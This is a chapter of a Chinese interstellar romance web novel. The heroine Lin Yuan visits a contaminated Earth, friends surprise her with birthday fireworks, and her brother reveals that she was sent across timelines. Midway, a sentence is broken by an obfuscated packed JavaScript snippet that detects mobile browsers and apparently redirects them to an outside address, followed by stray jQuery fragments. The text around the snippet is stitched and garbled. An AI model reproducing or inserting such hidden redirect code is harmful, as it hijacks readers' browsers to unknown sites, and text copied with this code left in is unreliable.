47.蓝血玫瑰

作品:《和暴君相爱相杀[星际]

    星历6357年1月1日,整个宇宙公认的新年更替日。


    在地球的全封闭实验基地中,林沅正百无聊赖地撑着头,偶尔于虚拟屏上记录一点实验数据。


    威廉登基后没多久,她就按照勉强被推迟了几天的实验计划,和“信天翁”的三人一起来到了联盟的月球实验基地,接着又在林深等人的带领下,登上了被严重污染的地球。


    出发前,康伦那边认为皇后不必非要继续学业,但林沅有些犹豫不决,威廉也就一如既往地支持她。


    “也就三个月。”他说,“回来再继续学习处理政务。”


    林沅便下定了决心。


    这次安妮没有可以正当跟来的理由,只能在临行前帮林沅一起备齐了各种生活物资。


    分别时她轻轻抱了抱林沅,反复不放心地叮嘱:“有什么事一定要及时给我打电话或者发消息,我会立刻赶过去的。”


    林沅答应了她。


    此时此刻,其他人正在进行室外观测实验,林沅孤身一人待在基地。


    万籁俱寂中,分隔过渡空间的大门向两边缓缓打开。林沅回过头,墨色的长发在纤细挺直的后背上轻轻一扫,扫起一点实验室特有的消毒水味道。


    “你怎么自己回来了?”她有些惊讶地看着站在门口的林深。


    林深于过渡空间中,一键清除了从室外空间带来的辐射,摘下防护罩,轻轻甩了甩有点汗湿的头发:“基地不用一直守着,出来玩一会吧,姐?”


    “拜托,在工作诶。”林沅谨慎地指了指头顶,示意实验室的监控一直联通着月球基地,很可能会被别人听见。


    林深走近了,一把将她从座位上拉起来:“怕什么,最多也就是闵哥或者晚姐在那边看着,你还怕他俩告咱们的状吗?”


    林沅迟疑了一下:“实验怎么办?”


    “让机器自己盯着,一会就回来了。”说罢,便不由分说地拉着林沅套上了防辐射服。过渡空间与实验室间的大门严丝合缝地关闭,与外界相连的接口缓缓打开。


    与林沅想象中被破坏殆尽的地球完全不同,这里的绿植竟然格外繁盛茂密。如果不是辐射计数器发出令人牙酸的警报声,她会以为自己回到了曾经真正熟悉的地方。


    脚下踩上坚实地面的触感,温柔地让人想要落泪。在无数个相似或不同的时间与空间中,她也曾在某个地球的某一隅,顽强而孤独地生长过二十年。


    那里藏着她再也无法触摸到的故乡。


    他们于寂静无声的天地间漫步。林沅慢慢才在几乎完全无法分辨的城市遗迹中发现,这里曾是一座海边的小城。


    几千年未曾有人类踏足的建筑,被大片大片深厚的青苔覆盖。整个世界都是绿油油的,藤蔓交织着爬满冰冷的钢筋混凝土外墙,仿佛在割裂分解一块久未有人问津的抹茶蛋糕。


    日光渐渐降落。他们在海边漫步,绵长到看不见尽头的金黄沙滩上,海浪无休无止地吞吐着雪白翻涌的泡沫,发出一阵阵“嘟噜噜”“哗啦啦”的美妙声响。


    收音通过通讯系统传进林沅的耳中。可惜这里没办法让她摘下防护罩,呼吸一点被腥咸海风裹起来的、属于大海与天空的味道。


    “真美……”她小声对林深说道,“我很久没见过了……赫斯塔星和帝国,都没有这么美的海。”


    最后几缕日光照在海面上。夕阳仿佛一片被置于牛奶中泡到柔软的饼干,橘金色的香气四处逸散,染透了碧蓝如洗的天空,和绵软纯白的云彩。


    林沅的双手下意识摸了摸防护罩边缘:“我要是现在摘下这个,会怎么样呢?”


    “会死。”林深直截了当地回答她,把林沅吓得手指一缩。


    “真是看不出来。”她感慨道,“这里明明风景如画,实际却被污染充斥。也许这辐射只是针对人类,提醒他们已经不配生存在这样的美景中。于是人类退去以后,动植物们自然而然地瓜分了领地,建立了新秩序。”


    就像是一场无声战争的胜利。


    “我听说,这里还留着极少数的原住民?”


    林深点了点头:“他们不愿意接受联盟的搬离邀请,于是联盟通过我们,给这些原住民发放一定的补给。”


    林沅有些好奇:“难道他们不怕辐射吗?”


    林深沉默了一会,声音低哑地开口:“他们排斥联盟的一切科技,导致平均寿命非常低,大部分孩子都活不过成年。”


    “即使这样也不愿意离开?”


    “即使这样也不愿意离开。”


    “好吧。”林沅迷茫地看着最后一丝夕阳的光芒被遥远的天际线吞噬,吞进无穷无尽的大海,消化成一场等待重生的幻梦。


    各种轻巧的小动物在楼间窜来窜去,看见远处的人类也并不害怕,只是躲在曾经属于某个人的办公桌下,用没有人听得懂的信息互相交流打招呼。


    天地静谧,万物归于长夜。


    突然,一点几不可闻的摩擦声响起,林沅惊奇地看着前方不远处的海滩上,一大片星星点点、如同萤火的微光,闪烁着小火花的金色光斑,噼噼啪啪地燃烧起来。


    有人在海滩放烟花。


    一排排次第点燃的烟花瞬间转着圈升上天空,在泼墨的夜色中轰然炸响,点亮一片绚丽的光芒。


    一遍遍上升的烟花下,沙滩上的小烟花们也不甘示弱地燃烧着,远远望去,似乎是摆成了什么小字。


    “二十二周岁生日快乐……阿沅。”林沅喃喃着念出沙滩上的图案,声音有些涩意。


    沙滩上,一群伙伴们不知是从哪跑出来,冲着高处的两人大声打招呼。


    莉莉丝举着两只“仙女棒”向林沅挥舞着双手;路易非要拉着丹尼尔去放一些更大更响的烟花,丹尼尔一脸抗拒;宋庭眠半蹲在地上,一只手关闭防护罩的收音口,一只手远远地去够那个最大的烟花盒子;沈若暄在烟花上升炸开的巨响中笑着欢呼,颜辂站在她身边,年轻俊秀的脸庞神情温柔。


    一片喧闹中,由沈若暄带头,这群人停下手里的一切,在“三二一”的倒数声后,冲着林沅大声喊道:“生日快乐,阿沅!”


    林沅想要抹去脸颊上划过的眼泪,但防辐射罩阻碍了她的动作,她只能站在原地手舞足蹈,回应沙滩上的那群人。


    “谢谢!”林沅隔着防护罩大喊了几声,带着被拢音的沉闷感。


    “让他们在这里放烟花吧。”欣赏了一会烟花后,林深轻轻推了推她,示意看向远离沙滩的另一个方向,“我还有一个地方要带你去。”


    林沅有些困惑。林深低低地笑了一声:“你不是一直在等我一个解释吗,姐姐……为了这件事,都不愿意理我了,像小孩子一样。”


    林沅沉默了一会,没有反驳,跟着他往另一个方向走去。


    艰难穿过依稀能够辨认的小径,拨开那些仿佛生长在热带雨林气候下的季风带植物,林深走在前面,指引她小心脚下。


    只有十几分钟的步行距离,他们走了大概一小时,直到林沅累得气喘吁吁,在防护服的压力加持下感觉自己终于走不动了,一片世外桃源般别有洞天


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015589|156160||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的景象,却突然出现在他们面前。


    广阔的空地中,新春发芽的桃花树林里,有一幢小小的、带院落的小房子。


    “我在你的画里见过。”林深推开了吱呀作响的木门,避开门口处一窝已经在这里安家的、拖家带口的刺猬,“前段时间正好在实验某种小型建筑器械,我就利用实验项目复原了它。”


    院中的房间虽小,却五脏俱全。穿过宽阔的院落,和厨房中的老式灶台,就是一个小小的、土炕和火炉相连的卧室。再穿过去,一张小床放置在具有会客功能的房间中,旁边是老气横秋的木柜和全身镜,柜子间的玻璃横架上,放着几个摆件装饰。


    一架水晶小钢琴,两三只白瓷兔子,和一个存放着照片的木质相框。画面中,与林沅几乎一模一样、只是更加年幼的小姑娘,举着一只红彤彤的气球,怯生生地站在游乐场巨大的海盗船前。


    林沅震惊着,又带有心跳如擂鼓的警惕。她伸手摸了摸那几只兔子,谨慎又难以置信地开口:“我确定我没有画得这么详细……你是什么意思,阿深?”


    林深坐在另一边的书桌旁,背对着她:“这是给我给你的解释和坦白,姐姐。”


    “我很抱歉,因为事情已经快要走到了我力所能及的尽头。”他从满是尘埃的书桌上,拿起了唯一一本书,转身向林沅走来,“其实就像你所看见的,这个房子详细,但又不够详细。因为我能记住的东西有限,复原得越多,越容易出差错。”


    他似乎话里有话,站定后,将手里的那本书缓缓递给林沅。落满浮尘的封面上,写着几个花体的艺术字。


    “《腹黑逃妻:帝国皇后勇敢爱》……”林沅阅读后羞耻地沉默了,既震惊,又无语,“你说明白些。”


    “你十岁时从孤儿院离开后,与一位远房的奶奶相依为命。她带你在镇子上的乡村中居住,那时候你没有什么娱乐,只能买一些地摊文学的言情小说打发时间……”林深诡异地停顿了一下,“而恰巧,有人需要你知晓自己大致的命运,也需要一个将你定位的‘锚点’。”


    他思考着自己的措辞,语速有些慢:“于是他想到了,可以给你投送一本小说。很多年的默默观察,让他早就清楚,这个习惯了在地球上生存的‘你’,喜欢这种类型的……嗯,书籍。”


    “我求求你说重点!”林沅羞耻地用那本书轻轻捶了锤防护罩,“我们不要纠结这些细节了!”


    她在原地转了几步,颤抖着把那本快要腐化散落的书怼到林深面前:“什么意思,用最短的话说清楚。”


    “你是这个时间线的林沅被撕裂的一部分,在时空乱流里,意外被投送到了另一个时间线上——千年时光以前,尚未被毁灭的地球。”


    “目前人类的科技不支持时间线的主动迁移,更遑论逆向溯回、扭转时空的穿越。但你诞生于帝国一场失败的实验中所产生的意外,制造出了人力不能打破的时间漏洞。”


    “这个世界原本的林深为了将你带回来,利用这个漏洞,在无数个时间线中穿梭,基因面临崩解。他没有办法再前进,于是做了两件事。”


    “一件是将他在时空乱流中无数次穿梭后,所能知道的所有关于你的命运,以不惊扰你的方式投送给你;一件是将随机一个林深置换到正确的时间线上……保证计划继续进行。”


    林沅讶异地看着林深的眼睛,第一次觉得眼前这个人格外的陌生。


    林深也用那双黑沉的杏眼定定地回望着自己的姐姐,缓缓开口:“我就是那一个被随机置换而来的……林深。”